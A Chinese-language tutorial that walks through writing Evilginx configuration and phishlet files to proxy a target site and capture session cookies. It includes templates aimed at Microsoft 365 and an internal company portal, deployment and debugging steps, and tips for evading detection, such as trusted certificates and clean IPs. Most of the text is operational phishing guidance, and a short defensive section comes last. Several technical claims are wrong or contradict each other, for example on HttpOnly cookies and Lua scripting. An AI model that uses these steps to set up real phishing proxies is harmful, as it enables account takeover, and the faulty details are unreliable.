深度解析Evilginx配置文件:从MITM原理到自定义钓鱼模板实战
1. 项目概述:从工具理解到风险认知
最近在和一些做安全研究的朋友交流时,频繁听到一个词:Evilginx。这玩意儿在红队演练和渗透测试的圈子里,名声不小,但水也挺深。简单来说,Evilginx是一个中间人攻击(Man-in-the-Middle, MITM)框架,核心原理是扮演一个“邪恶的”反向代理。它不像传统的钓鱼网站那样,需要你吭哧吭哧地去仿造一个目标网站的登录页面,而是直接在你和目标网站之间插一脚。当受害者访问你控制的域名时,Evilginx会透明地将请求转发到真实的网站,同时悄无声息地截获会话令牌(比如Cookie、Token)。这意味着,你拿到的是货真价实的、能直接登录受害者账户的凭证,而不是一个需要破解的密码。
听起来很厉害,对吧?但今天咱们要聊的,不是怎么用它去搞事情,而是深度剖析它的“心脏”——配置文件。为什么?因为市面上大多数关于Evilginx的教程,都停留在“一键启动”、“默认配置”的层面,好像这工具就是个黑盒子,按个按钮就能出结果。但真正想理解其威力、评估其风险,或者从防御角度去思考如何检测和防范,你必须得知道它的配置文件里每一行代码在干什么。只有拆开了、揉碎了看,你才能明白攻击者可以如何高度定制化地针对“任意网站”,而不是仅仅局限于Gmail、Facebook这些预设模板。
更重要的是,对于防守方——无论是企业的安全工程师、运维,还是普通的开发者——理解攻击工具的运作细节,是构建有效防御的第一道门槛。你不知道贼从哪儿进来,怎么知道该在哪儿砌墙呢?所以,这篇文章会假设你是一个对Web安全和网络协议有基本了解的技术从业者,我们一起打开Evilginx的配置文件,看看这个“钓鱼模板”到底是如何被自定义,以及背后隐藏着哪些需要警惕的技术细节和攻击向量。
2. Evilginx核心机制与配置文件架构解析
在动手改配置文件之前,我们必须先搞清楚Evilginx是怎么工作的。把它想象成一个非常狡猾的餐厅服务员。正常的流程是:顾客(受害者)点菜(访问网站),服务员把订单送到后厨(真实服务器),然后把做好的菜端回来。而Evilginx这个“邪恶服务员”干了什么呢?他照样把订单送往后厨,也把菜端给顾客,但在这一来一回中,他偷偷记下了顾客最喜欢的口味配方(会话令牌)。下次,他甚至可以自己冒充这个顾客去点菜。
技术层面,它利用了反向代理和HTTP主机头注入。当你在攻击机(比如一台VPS)上运行Evilginx时,它会监听80和443端口。你需要将一个域名(例如login.yourapp.com)的DNS解析指向这台攻击机。受害者访问这个域名时,Evilginx会根据配置文件,将请求转发到预设的真实网站(例如login.realwebsite.com),同时,它会在HTTP响应中动手脚,将其中的链接域名都替换成自己的钓鱼域名,并设置一个精心构造的钓鱼域名下的Cookie来捕获令牌。
它的配置文件主要分为两大块:主配置文件(config.yaml)和钓鱼模板目录(phishlets)。主配置文件定义了全局参数,比如监听端口、日志路径、SSL证书等。而每一个钓鱼模板,则对应一个你想要攻击的特定网站或服务(如Office 365、GitHub、企业内部OA),里面包含了如何解析该网站、截获哪些关键参数的核心逻辑。
2.1 主配置文件(config.yaml)深度拆解
默认的config.yaml看起来可能有点让人发怵,但结构很清晰。我们挑几个关键部分来说。
server: bind_addr: 0.0.0.0 port: 443 hostname: "your-phishing-domain.com" # 是否使用TLS终结。Evilginx推荐在它这里终结TLS,然后用HTTP向后端转发,方便解密和修改流量。 use_tls_termination: true tls: cert_path: "/path/to/cert.pem" key_path: "/path/to/key.pem"- bind_addr: 0.0.0.0:这意味着监听所有网络接口。在公网VPS上部署时必须这样设置,以便接收来自互联网的请求。如果你只是在本地测试,可以改为
127.0.0.1。 - use_tls_termination: true:这是关键。启用后,Evilginx会用自己的SSL证书(你提供的cert.pem和key.pem)与受害者浏览器建立HTTPS连接。这样,它就能以明文方式看到和处理所有流量。对于后端(真实网站),它可以继续使用HTTPS(
proxy_pass到https://...),但中间的解密和再加密过程完全可控。这里有个大坑:你的证书必须是浏览器信任的。你可以用Let‘s Encrypt免费申请,但申请过程需要验证域名所有权,这本身就暴露了你的钓鱼域名。攻击者有时会使用自签名证书,但这会引发浏览器巨大的安全警告,钓鱼成功率骤降。 - hostname:这里填写你的钓鱼根域名。后续在钓鱼模板中,会基于此生成子域名。
proxy: # 上游DNS服务器,用于解析真实网站的域名。 upstream_dns: "8.8.8.8" # 是否验证上游服务器的SSL证书。通常设为false,以避免因为证书问题导致代理失败。 # 但注意,这会使中间人攻击本身更容易受到“中间人中的中间人”攻击(如果你的流量被劫持)。 skip_upstream_tls_verify: false- upstream_dns:Evilginx需要解析真实网站的IP地址。这里配置一个可靠的DNS服务器。
- skip_upstream_tls_verify:设为
false是更安全的选择,它会检查真实网站的SSL证书是否有效。如果目标网站用了自签名证书或过期证书,设为true可以绕过,但增加了风险。在红队评估内网系统时,可能会遇到大量自签名证书,此时需要设为true。
phishlets: # 启用的钓鱼模板列表 enabled: - "o365" - "github" # 钓鱼模板的存储目录 store_dir: "/path/to/evilginx/phishlets"这是核心。enabled下列出了当前激活的钓鱼模板名称(对应phishlets目录下的.yaml文件名)。store_dir指向模板目录。
2.2 钓鱼模板(Phishlet)文件结构解剖
一个钓鱼模板文件(如o365.yaml)才是真正的“魔法书”。它定义了Evilginx如何与特定网站交互。其结构大致如下:
name: "o365" # 模板标识名 author: "Your Name" min_ver: "3.0.0" # 兼容的Evilginx最低版本 proxy_hosts: # 定义需要代理的真实主机 - {phish_sub: "login", orig_sub: "login", domain: "microsoft.com", session: true, is_landing: false} - {phish_sub: "account", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false} sub_filters: # 子域名过滤器,用于在响应内容中替换链接 - {hostname: "^login\\.microsoft\\.com$", sub: "login", domain: "%s", mime: "text/html", search: "login\\.microsoft\\.com", replace: "login.%s"} - {hostname: "^account\\.microsoft\\.com$", sub: "account", domain: "%s", mime: "text/html", search: "account\\.microsoft\\.com", replace: "account.%s"} auth_tokens: # 定义要捕获的认证令牌 - domain: ".microsoft.com" keys: ["ESTSAUTH", "ESTSAUTHPERSISTENT"]我们来逐一拆解:
proxy_hosts:这是路由规则。它告诉Evilginx:“当有人访问
[phish_sub].[你的钓鱼域名]时,把请求转发到[orig_sub].[domain]”。phish_sub:钓鱼子域名(如login)。orig_sub:真实网站的子域名(如login)。domain:真实网站的根域名(如microsoft.com)。session: true:表示与此主机的交互需要维持会话(捕获Cookie)。is_landing: false:表示这不是初始登录页面。通常登录页面会设为true。- 自定义关键:如果你想攻击一个内部系统
hr.corp.com,你就可以在这里添加一条记录:{phish_sub: "hr", orig_sub: "hr", domain: "corp.com", session: true, is_landing: true}。这样,访问hr.your-phish.com就会被代理到hr.corp.com。
sub_filters:这是内容重写规则。因为真实网站返回的HTML、JS里,链接都是指向它自己的域名(如
login.microsoft.com)。如果不改掉,受害者点击链接就直接跳到真实网站了,钓鱼就断了。sub_filters的作用就是在HTTP响应体里,把指定的字符串(search)替换成钓鱼域名(replace)。hostname:一个正则表达式,匹配哪个主机返回的内容需要被过滤。mime: "text/html":通常只过滤HTML内容。JS、CSS可能也需要,但处理不当容易导致页面功能异常。search和replace:%s是通配符,会被替换成你的钓鱼根域名。这里的正则和替换需要非常精确,否则可能导致页面样式错乱、功能失效,引起受害者怀疑。- 实操心得:对于现代单页面应用(SPA),如React、Vue构建的站点,大量的路由和API调用是通过JavaScript动态完成的。简单的文本替换可能不够,你需要仔细分析网络请求,可能还需要配置针对
application/jsonMIME类型的过滤器,来重写API端点。这是自定义模板中最繁琐、最容易出错的部分。
auth_tokens:这是战利品清单。定义了你想要从受害者那里偷取的Cookie名称。
domain:Cookie的作用域。通常是.目标域名,确保能捕获到该域名下的所有相关Cookie。keys:一个列表,包含你要窃取的Cookie名称。这些Cookie通常就是会话标识符。- 如何确定这些Key?这需要手动分析。用浏览器无痕模式登录目标网站,然后打开开发者工具的“应用程序”(Application)标签,查看存储的Cookies。寻找那些看起来像会话令牌的(名称可能包含
session,token,auth,sessid等),特别是那些HttpOnly属性为false的(因为JS可读,Evilginx才能捕获)。有些网站会把令牌放在localStorage或请求头里,这就需要更高级的定制,可能涉及编写自定义的Lua脚本注入。
3. 实战:为任意网站创建自定义钓鱼模板
理论说了这么多,我们来模拟一个场景:假设我们需要为一个虚构的内部员工门户portal.company.com创建钓鱼模板。我们的钓鱼域名是portal.company.xyz。
3.1 前期侦察与信息收集
在动配置文件之前,侦察至关重要。
- 访问目标:用浏览器正常访问
portal.company.com,记录下整个登录流程。 - 分析登录流程:
- 登录表单提交到哪个URL?(例如
POST https://portal.company.com/api/login) - 登录成功后,跳转到哪个页面?(例如
https://portal.company.com/dashboard) - 过程中涉及哪些子域名?(可能还有
api.company.com,static.company.com)
- 登录表单提交到哪个URL?(例如
- 检查认证机制:
- 打开开发者工具 -> 网络(Network)标签,勾选“保留日志”(Preserve log)。
- 完成登录,观察登录请求的响应头。重点看
Set-Cookie字段。记下所有看起来像会话的Cookie名,例如session_id,auth_token,JWT。 - 检查登录后的其他请求,看它们携带了哪些Cookie或Authorization头。
- 分析页面内容:查看登录页面的HTML源码,注意所有链接(
href)、脚本(src)、表单(action)的URL,看它们是绝对路径还是相对路径。绝对路径的域名是什么。
3.2 编写自定义Phishlet文件
基于侦察结果,我们创建portal_company.yaml。
name: "portal_company" author: "Security Researcher" min_ver: "3.0.0" proxy_hosts: # 主登录门户 - {phish_sub: "portal", orig_sub: "portal", domain: "company.com", session: true, is_landing: true} # 假设还有API子域 - {phish_sub: "api", orig_sub: "api", domain: "company.com", session: true, is_landing: false} # 静态资源子域 - {phish_sub: "static", orig_sub: "static", domain: "company.com", session: false, is_landing: false} sub_filters: # 替换主门户页面中的所有 portal.company.com 链接 - hostname: "^portal\\.company\\.com$" sub: "portal" domain: "%s" mime: "text/html" search: "portal\\.company\\.com" replace: "portal.%s" # 替换主门户页面中的所有 api.company.com API端点 - hostname: "^portal\\.company\\.com$" sub: "portal" domain: "%s" mime: "text/html" search: "api\\.company\\.com" replace: "api.%s" # 替换主门户页面中的静态资源链接 - hostname: "^portal\\.company\\.com$" sub: "portal" domain: "%s" mime: "text/html" search: "static\\.company\\.com" replace: "static.%s" # 替换从API返回的JSON数据中可能包含的域名引用(如果API响应里有) - hostname: "^api\\.company\\.com$" sub: "api" domain: "%s" mime: "application/json" search: "portal\\.company\\.com" replace: "portal.%s" auth_tokens: - domain: ".company.com" keys: ["session_id", "auth_token"] # 根据侦察结果填写注意事项与技巧:
- session: false:对于
static这类只提供图片、CSS、JS文件的子域,通常不需要维持会话,设为false可以减轻服务器负担。 - MIME类型过滤:
application/json过滤非常有用,特别是对于前后端分离的应用。前端JS可能从API响应中获取新的URL。但必须小心,不要破坏了JSON的数据结构。 - 正则表达式精确性:
search里的正则portal\\.company\\.com使用了转义点号,确保只匹配域名,不会匹配到其他包含该字符串的内容。^和$在hostname里用于精确匹配请求的主机头。 - 测试顺序:不要一次性写完所有过滤器。先配置最基本的
proxy_hosts和针对HTML的sub_filters,确保页面能加载。再逐步添加API和JSON的过滤器,每加一条都仔细测试页面功能是否正常。
3.3 配置主文件与部署测试
修改
config.yaml:phishlets: enabled: - "portal_company" # 启用我们刚写的模板 store_dir: "/path/to/your/phishlets/directory" server: hostname: "company.xyz" # 你的钓鱼根域名 # ... 其他配置如端口、证书路径DNS设置:将
portal.company.xyz,api.company.xyz,static.company.xyz的A记录都指向你的Evilginx服务器IP。启动与测试:
- 启动Evilginx:
sudo evilginx -config /path/to/config.yaml - 在你自己控制的测试浏览器中,访问
https://portal.company.xyz。 - 预期行为:你应该能看到和
portal.company.com一模一样的登录页面。查看页面源码,里面的链接应该都变成了portal.company.xyz、api.company.xyz等。 - 尝试用测试账号登录。观察Evilginx的控制台输出,它应该会显示拦截到的请求和捕获到的Cookie。
- 登录后,检查页面跳转和所有功能(点击链接、加载数据)是否都正常工作,且地址栏始终保持在你的钓鱼域名下。
- 启动Evilginx:
4. 高级定制与疑难问题排查
基础模板能工作,但面对复杂的现代Web应用,你可能会遇到各种问题。
4.1 处理JavaScript动态内容
很多网站用JS动态构造URL。简单的文本替换可能抓不到它们。你需要:
- 注入自定义JS:Evilginx支持通过
js_inject配置项,在所有HTML响应中注入一段JavaScript代码。你可以用这段代码来覆写浏览器的XMLHttpRequest和Fetch API,拦截所有AJAX请求和响应,动态修改其中的URL。这属于高阶技巧,需要对前端和Evilginx的Lua脚本扩展有深入理解,且极易因脚本错误导致页面崩溃,暴露攻击。 - 更精细的sub_filters:仔细分析网站加载的每一个JS文件,找出其中硬编码的域名字符串,为它们添加额外的
sub_filters。MIME类型设为application/javascript。
4.2 捕获非Cookie令牌
有些应用不使用Cookie,而是用Authorization: Bearer <JWT>这样的HTTP头,或者将Token存储在localStorage中。
- HTTP头令牌:Evilginx默认不捕获这些。你需要修改或编写自定义的Lua脚本模块,在请求转发给受害者前,从请求头中提取并保存令牌。这需要你熟悉Evilginx的插件系统(如果有的话)或直接修改其Go源码,门槛很高。
- localStorage/IndexedDB:这几乎无法通过中间人代理直接捕获,因为这是浏览器同源策略下的本地存储。攻击者通常需要结合XSS漏洞才能窃取。Evilginx这类MITM工具在此场景下作用有限。
4.3 规避检测与提高真实性
- SSL证书:使用Let‘s Encrypt的泛域名证书(
*.your-phish.com)是最佳选择,能让浏览器显示“安全锁”,极大降低警惕性。但申请过程会留下公开记录。 - IP信誉:使用“干净”的云服务器IP,避免使用已知的垃圾邮件或攻击IP段。
- 页面一致性:确保过滤后的页面在所有浏览器和设备上显示正常。响应头(如
Content-Type,Cache-Control)也应与真实网站保持一致,避免因缺少X-Frame-Options等头而导致页面无法在iframe中加载(如果采用iframe钓鱼方式)。 - 登录后行为:成功的钓鱼不仅要拿到令牌,还要让受害者感觉登录成功了。这意味着登录后的跳转、用户信息展示、甚至后续的几次交互都要流畅。你需要精心配置
proxy_hosts和sub_filters来支持用户登录后的多个页面。
4.4 常见问题排查表
| 问题现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 访问钓鱼域名显示“连接被拒绝”或超时 | Evilginx服务未启动;防火墙阻止端口;DNS未生效 | 1. 检查Evilginx进程是否运行 (ps aux | grep evilginx)。2. 检查服务器防火墙是否开放了80/443端口 ( sudo ufw status)。3. 使用 dig portal.your-phish.com或nslookup检查DNS解析是否正确。 |
| 页面能打开,但样式全乱,图片不显示 | sub_filters未覆盖所有资源域名;静态资源子域未配置或session: false导致问题 | 1. 浏览器F12打开开发者工具,查看“网络”标签,哪些资源加载失败(404或错误)。 2. 检查失败资源的原始URL是什么,是否为未在 proxy_hosts中配置的子域。3. 检查对应的 sub_filters规则是否遗漏,特别是CSS、JS、图片文件可能来自不同子域。 |
| 登录按钮点击无反应,或登录后白屏/报错 | API子域代理或过滤失败;JSON响应中的URL未替换;动态JS问题 | 1. 在登录过程中,查看“网络”标签中POST登录请求的响应。是否被正确代理? 2. 查看登录成功后跳转或数据加载的API请求(XHR/Fetch)。这些请求是否发送到了你的钓鱼域名( api.your-phish.com)?3. 检查这些API请求的响应内容(JSON),里面是否还包含原始域名,需要为 application/json添加sub_filters。 |
| Evilginx控制台没有捕获到Cookie | auth_tokens中定义的Cookie名错误;Cookie是HttpOnly;登录流程未触发设置这些Cookie | 1. 手动正常登录目标网站,再次确认Cookie名称。 2. 检查这些Cookie的“HttpOnly”属性是否为true。如果是,Evilginx无法通过代理直接捕获,需要其他手段。 3. 可能登录流程分多步,关键的Cookie在后续步骤才设置,确保你的钓鱼流程走到了那一步。 |
| 浏览器地址栏显示“不安全”或证书错误 | SSL证书配置错误;证书不匹配域名;自签名证书未被信任 | 1. 检查config.yaml中cert_path和key_path指向的文件是否正确。2. 确保证书是针对你钓鱼域名(如 *.your-phish.com)签发的。3. 绝对不要在生产钓鱼中使用自签名证书。 |
5. 防御视角:如何识别和防范此类攻击
作为防御方,了解攻击手法是为了更好地防护。Evilginx这类高级钓鱼攻击,传统基于“页面相似度”或“域名拼写错误”的检测方法会失效,因为页面就是真的。防御需要多维度结合:
终端用户教育(治标不治本但必要):
- 检查URL:养成习惯,在输入敏感信息前,仔细看一眼浏览器地址栏的完整域名。对于重要服务,建议手动输入网址或使用书签访问。
- 警惕“重新登录”提示:如果你已经登录了一个服务,突然又跳出登录框,需要高度警惕。
- 使用密码管理器:好的密码管理器(如Bitwarden、1Password)通常不会在非原始域名上自动填充密码。如果它不自动填充,就是一个警示信号。
技术防护措施:
- 强制使用双因素认证(2FA/多因素认证MFA):这是最有效的防御手段之一。即使会话Cookie被盗,攻击者没有第二因素(如手机验证码、硬件安全密钥),也无法登录。注意:一些传统的基于短信的2FA,如果SIM卡被劫持,仍有风险。推荐使用TOTP(如Google Authenticator)或FIDO2硬件密钥。
- 绑定设备/地理位置:企业级应用可以记录用户的常用登录设备、IP地理位置。当检测到从未见过的新设备或异常地理位置尝试使用有效会话登录时,要求进行二次验证或直接阻止。
- 缩短会话有效期:设置较短的会话超时时间,并定期要求重新认证。这能限制被盗Cookie的可用时间窗口。
- 设置Cookie安全属性:
- Secure:确保Cookie只通过HTTPS传输,防止在明文HTTP中被截获。
- HttpOnly:防止JavaScript通过
document.cookieAPI访问,能有效防御XSS窃取Cookie,但对Evilginx这类服务器端代理无效,因为代理是在HTTP层面看到Cookie头的。 - SameSite=Strict/Lax:这个属性非常关键!它限制了Cookie在跨站请求中的发送。设置为
Strict后,Cookie仅在同站请求(即来自相同站点的导航)中发送。这意味着,即使用户被诱骗点击了evil.com上的链接跳转到yourbank.com,浏览器也不会自动携带yourbank.com的会话Cookie。这能极大增加Evilginx等攻击的难度,因为攻击者需要诱使用户在钓鱼域名下完成整个登录流程,而不仅仅是点击一个链接。现代浏览器已默认将没有明确指定SameSite的Cookie视为Lax,这是一项重要的安全改进。
- 实施证书钉扎(Certificate Pinning):在客户端(如移动App)中内置信任的服务器证书指纹。这样,即使攻击者提供了由其他CA签发的、浏览器信任的证书,客户端也会拒绝连接。但这主要保护的是特定客户端,对普通Web浏览防护有限。
- 网络与日志监控:
- 监控DNS日志,寻找指向可疑IP地址的、与企业域名相似的子域名解析请求。
- 分析Web服务器访问日志,寻找来源IP异常、User-Agent异常、或短时间内同一会话从多个不同地理位置IP发起的请求。
- 使用安全邮件网关(SEG)和Web安全网关,它们通常集成了基于AI的钓鱼检测,能分析邮件内容、链接指向域名的信誉、证书信息等。
Evilginx配置文件的自定义能力,将其从一个“开箱即用”的钓鱼工具,变成了一个高度可定化的中间人攻击框架。理解它的每一个配置项,就像读懂了攻击者的剧本。对于攻击者而言,这意味着可以更精准、更隐蔽地发动攻击;对于防御者而言,这揭示了攻击链中最脆弱的环节——用户对域名的疏忽、会话令牌的过度长寿、以及Cookie安全属性的配置不当。安全永远是攻防双方的博弈,而深度理解对方手中的武器,是让自己立于不败之地的第一步。在实战中,任何配置的修改都需要经过细致的测试,一个微小的过滤规则错误或遗漏的资源域名,都可能导致整个钓鱼页面崩盘,前功尽弃。